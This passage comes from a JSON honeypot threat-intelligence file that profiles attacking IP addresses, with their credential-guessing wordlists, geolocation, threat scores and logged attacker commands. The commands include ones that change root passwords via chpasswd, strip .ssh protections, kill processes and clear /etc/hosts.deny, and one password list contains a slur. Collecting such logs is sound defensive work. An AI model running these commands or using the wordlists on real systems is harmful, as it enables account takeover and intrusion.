        "123",
        "1234",
        "12345",
        "12345678",
        "123123qq",
        "123456",
        "Abc@123",
        "Deneme123",
        "Jerry123",
        "Kocom123!",
        "Oracle123",
        "Taibabi123!",
        "aditya",
        "chris123!",
        "elizabeth1234",
        "password",
        "retagretag",
        "sdbadminpassword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nestd4EOxS1fe\\nestd4EOxS1fe\\n\"|passwd",
        "echo \"123\\n50UWOXy2VzCr\\n50UWOXy2VzCr\\n\"|passwd",
        "echo \"Kocom123!\\n6RsVctjDtASd\\n6RsVctjDtASd\\n\"|passwd",
        "echo \"root:wEt27zrPYG8C\"|chpasswd|bash",
        "echo -e \"12345\\nestd4EOxS1fe\\nestd4EOxS1fe\"|passwd|bash",
        "echo -e \"123\\n50UWOXy2VzCr\\n50UWOXy2VzCr\"|passwd|bash",
        "echo -e \"Kocom123!\\n6RsVctjDtASd\\n6RsVctjDtASd\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Karbala",
      "asn": 210022,
      "as_org": "Trade Link Logistics General Trading & Contracting Company W.L.L., L.L.C.",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 477,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T01:35:16.685000+00:00",
        "last_seen_30d": "2026-03-24T01:51:40.771000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 77
      }
    },
    "43.159.177.40": {
      "attack_count": 400,
      "first_seen": "2026-03-15T10:40:41.872Z",
      "last_seen": "2026-03-21T09:36:58.046Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "erwin",
        "rico",
        "root01",
        "tms",
        "acs",
        "administrator",
        "angela",
        "edubook",
        "ftp",
        "lin",
        "michelle",
        "music",
        "ray",
        "sa",
        "sami",
        "siva",
        "tecnopos",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "1234",
        "Administrator123",
        "Edubook123!",
        "Michelle",
        "Qwerty123$",
        "Rico123!",
        "Siva123",
        "Webdev",
        "Wildfly",
        "abcd#1234",
        "angelaangela",
        "asdf",
        "erwinpass",
        "ftp123",
        "ray",
        "root01pass",
        "sa@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Rico123!\\neDO0QvPsYQ7X\\neDO0QvPsYQ7X\\n\"|passwd",
        "echo \"erwinpass\\nIrAx2A3KLxBo\\nIrAx2A3KLxBo\\n\"|passwd",
        "echo \"root:SLDRUi3fwUpW\"|chpasswd|bash",
        "echo \"tms\\nwVAdr5pDefA7\\nwVAdr5pDefA7\\n\"|passwd",
        "echo -e \"Rico123!\\neDO0QvPsYQ7X\\neDO0QvPsYQ7X\"|passwd|bash",
        "echo -e \"erwinpass\\nIrAx2A3KLxBo\\nIrAx2A3KLxBo\"|passwd|bash",
        "echo -e \"tms\\nwVAdr5pDefA7\\nwVAdr5pDefA7\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 475,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T10:40:41.872000+00:00",
        "last_seen_30d": "2026-03-21T09:38:07.365000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 75
      }
    },
    "171.231.192.240": {
      "attack_count": 392,
      "first_seen": "2026-03-19T08:32:32.043Z",
      "last_seen": "2026-03-19T09:07:21.449Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "cisco",
        "monitor",
        "user",
        "1234",
        "am",
        "anton",
        "ashish",
        "belkinstyle",
        "bin",
        "brenda",
        "client",
        "cpanel",
        "demo",
        "developer",
        "ftp",
        "geral",
        "helpdesk",
        "joggler"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "12345678",
        "admin",
        "admin123",
        "password",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "112233",
        "12345",
        "123456789",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "abc123",
        "abcdefg",
        "admin01"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 558,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:32:32.043000+00:00",
        "last_seen_30d": "2026-03-19T09:08:26.274000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 392,
        "Suricata": 166
      }
    },
    "178.62.229.102": {
      "attack_count": 386,
      "first_seen": "2026-03-09T19:16:48.932Z",
      "last_seen": "2026-03-09T20:26:02.685Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "postgres",
        "admin",
        "guest",
        "root",
        "test",
        "ubuntu",
        "user",
        "pi"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "123456789",
        "password",
        "qwerty",
        "111111",
        "123123",
        "123456",
        "1234567"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 547,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T19:16:48.932000+00:00",
        "last_seen_30d": "2026-03-09T20:27:11.861000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 161
      }
    },
    "198.98.62.211": {
      "attack_count": 375,
      "first_seen": "2026-03-08T21:07:18.468Z",
      "last_seen": "2026-03-22T01:59:10.184Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cristi",
        "eder",
        "root",
        "root2",
        "zhanghang",
        "ceshi",
        "elemental",
        "ftpd",
        "master",
        "omm",
        "otrs",
        "sa",
        "sameer",
        "service",
        "super",
        "sysadmin",
        "testme",
        "ubuntu",
        "zomboid"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "12345678",
        "88888888",
        "Abcd1234@",
        "Elemental123",
        "Otrs123!",
        "Sameer123!",
        "Sysadmin123!",
        "Testme123",
        "Ye123456",
        "Zomboid123!",
        "cristi",
        "eder123",
        "ftpd123",
        "password",
        "root2123",
        "service"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"cristi\\n7HEOR1BwnvkA\\n7HEOR1BwnvkA\\n\"|passwd",
        "echo \"eder123\\nnNr5pfVGGdyP\\nnNr5pfVGGdyP\\n\"|passwd",
        "echo \"root:rGWGEnlVEYnt\"|chpasswd|bash",
        "echo \"zhanghang\\ni61Bhaz0VSgE\\ni61Bhaz0VSgE\\n\"|passwd",
        "echo -e \"cristi\\n7HEOR1BwnvkA\\n7HEOR1BwnvkA\"|passwd|bash",
        "echo -e \"eder123\\nnNr5pfVGGdyP\\nnNr5pfVGGdyP\"|passwd|bash",
        "echo -e \"zhanghang\\ni61Bhaz0VSgE\\ni61Bhaz0VSgE\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 35.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T21:07:18.468000+00:00",
        "last_seen_30d": "2026-03-22T02:00:16.156000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 375,
        "Suricata": 64
      }
    },
    "103.174.114.164": {
      "attack_count": 333,
      "first_seen": "2026-03-02T20:24:50.534Z",
      "last_seen": "2026-03-02T21:13:22.031Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613f",
        "123.com.cn",
        "123@qwer",
        "Abc12345!",
        "Deneme123",
        "Passw0rd!@#$",
        "a2008",
        "aaaaaaaaaa",
        "atmosphere",
        "q1w2e3R4",
        "root123456!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613f\\nGTnRcOuZItcZ\\nGTnRcOuZItcZ\\n\"|passwd",
        "echo \"root:CuN15atu6ILH\"|chpasswd|bash",
        "echo \"root:SFwoquEpb9h4\"|chpasswd|bash",
        "echo \"root:l1wNS6DUomyk\"|chpasswd|bash",
        "echo -e \"1233218613f\\nGTnRcOuZItcZ\\nGTnRcOuZItcZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 384,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:24:50.534000+00:00",
        "last_seen_30d": "2026-03-02T21:14:28.654000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 333,
        "Suricata": 51
      }
    },
    "43.153.102.228": {
      "attack_count": 332,
      "first_seen": "2026-03-18T04:18:41.994Z",
      "last_seen": "2026-03-23T08:14:26.163Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "osm",
        "steamcmd",
        "syncuser",
        "Test",
        "admin",
        "claudio",
        "david",
        "esuser",
        "greg",
        "irene",
        "miguel",
        "mine",
        "ming",
        "mm",
        "sa",
        "sandra",
        "sentry",
        "sysop"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "@WSX3edc",
        "Admin",
        "Ming123",
        "Passw0rd",
        "Password1",
        "TestTest",
        "Weblogic123",
        "a",
        "claudio",
        "david123",
        "esuseresuser",
        "greg@123",
        "irene@123",
        "miguel1234",
        "mm",
        "nigger123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nXhn6ZCClDfvl\\nXhn6ZCClDfvl\\n\"|passwd",
        "echo \"osm\\nWzOqyMQCm7Oy\\nWzOqyMQCm7Oy\\n\"|passwd",
        "echo \"steamcmd\\n9M6Pykby0iNC\\n9M6Pykby0iNC\\n\"|passwd",
        "echo -e \"123456\\nXhn6ZCClDfvl\\nXhn6ZCClDfvl\"|passwd|bash",
        "echo -e \"osm\\nWzOqyMQCm7Oy\\nWzOqyMQCm7Oy\"|passwd|bash",
        "echo -e \"steamcmd\\n9M6Pykby0iNC\\n9M6Pykby0iNC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 404,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T04:18:41.994000+00:00",
        "last_seen_30d": "2026-03-23T08:15:27.904000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 72
      }
    },
    "1.55.33.86": {
      "attack_count": 310,
      "first_seen": "2026-03-02T07:24:30.671Z",
      "last_seen": "2026-03-12T11:09:59.855Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "n8n",
        "node",
        "devman",
        "ems",
        "home",
        "leon",
        "max",
        "obc",
        "sd",
        "shiyi",
        "xx"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456789aA",
        "1qazzaq1",
        "P@ssvv0rd",
        "Pass@2020",
        "QAZ@wsx",
        "changeme",
        "devman",
        "gx123456",
        "hola",
        "home123!",
        "lala123",
        "n8n",
        "obc123",
        "password",
        "zxcvbnm,./123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nvr663X1isUU9\\nvr663X1isUU9\\n\"|passwd",
        "echo \"n8n\\nqCgPFY0b1lkg\\nqCgPFY0b1lkg\\n\"|passwd",
        "echo \"root:eSsa1BU15zAm\"|chpasswd|bash",
        "echo -e \"123456\\nvr663X1isUU9\\nvr663X1isUU9\"|passwd|bash",
        "echo -e \"n8n\\nqCgPFY0b1lkg\\nqCgPFY0b1lkg\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 372,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:24:30.671000+00:00",
        "last_seen_30d": "2026-03-12T11:11:06.215000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 310,
        "Suricata": 62
      }
    },
    "49.247.36.49": {
      "attack_count": 304,
      "first_seen": "2026-03-31T15:04:54.741Z",
      "last_seen": "2026-03-31T16:15:08.517Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11092026",
        "Abc123321@",
        "Dg123456",
        "Hello2024",
        "Huawei1234",
        "Mavi2024",
        "P@55vv0rd",
        "P@sSw0Rd",
        "Password123#",
        "QAZ1234wsx",
        "QWERTY!@#",
        "Qwert@123456",
        "Yq147258",
        "amber1",
        "backup2024",
        "erty",
        "qwertyuiop123456789",
        "welkom"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2NhiRN10RP2L\"|chpasswd|bash",
        "echo \"root:kkBchmvqY7NP\"|chpasswd|bash",
        "echo \"root:wNFq8MiLKFwZ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:04:54.741000+00:00",
        "last_seen_30d": "2026-03-31T16:16:15.198000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 63
      }
    },
    "158.174.211.17": {
      "attack_count": 263,
      "first_seen": "2026-03-17T01:45:59.351Z",
      "last_seen": "2026-03-24T11:39:42.416Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "friend",
        "kapsch",
        "tmp",
        "airflow",
        "andre",
        "blue",
        "ci",
        "fmaster",
        "nexus",
        "odoo12",
        "oscommerce",
        "peertube",
        "postgres",
        "saas",
        "sandbox",
        "student4",
        "wasadmin",
        "wialon"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Admin.1234",
        "Nexus",
        "Odoo12123!",
        "Oscommerce123!",
        "Qq123456789.",
        "Tmp123",
        "andre",
        "bluepass",
        "dev@2026",
        "mobile",
        "password",
        "root",
        "root123.",
        "wasadmin@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nveniY1PV3wzp\\nveniY1PV3wzp\\n\"|passwd",
        "echo \"Tmp123\\nVJcfHMTzH55B\\nVJcfHMTzH55B\\n\"|passwd",
        "echo -e \"1234\\nveniY1PV3wzp\\nveniY1PV3wzp\"|passwd|bash",
        "echo -e \"Tmp123\\nVJcfHMTzH55B\\nVJcfHMTzH55B\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "\u00c4lta",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T01:45:59.351000+00:00",
        "last_seen_30d": "2026-03-24T11:40:46.660000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 71
      }
    },
    "103.171.85.186": {
      "attack_count": 233,
      "first_seen": "2026-03-15T13:57:59.699Z",
      "last_seen": "2026-03-22T01:15:06.973Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "android",
        "ibrahim",
        "alumno",
        "andy",
        "devuser",
        "es",
        "fox",
        "labs",
        "ljj",
        "maarch",
        "mgeweb",
        "newuser",
        "nominatim",
        "patricia",
        "peertube",
        "pilot",
        "root",
        "sim",
        "username"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "Maarch123",
        "blockchain",
        "es1234",
        "foxpass",
        "ibrahim123!",
        "mgeweb1234",
        "newuser123",
        "password",
        "patricia1234",
        "pilot",
        "sim1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nGHmV7OYlMILk\\nGHmV7OYlMILk\\n\"|passwd",
        "echo \"ibrahim123!\\nyAudizRToWOl\\nyAudizRToWOl\\n\"|passwd",
        "echo -e \"12345678\\nGHmV7OYlMILk\\nGHmV7OYlMILk\"|passwd|bash",
        "echo -e \"ibrahim123!\\nyAudizRToWOl\\nyAudizRToWOl\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
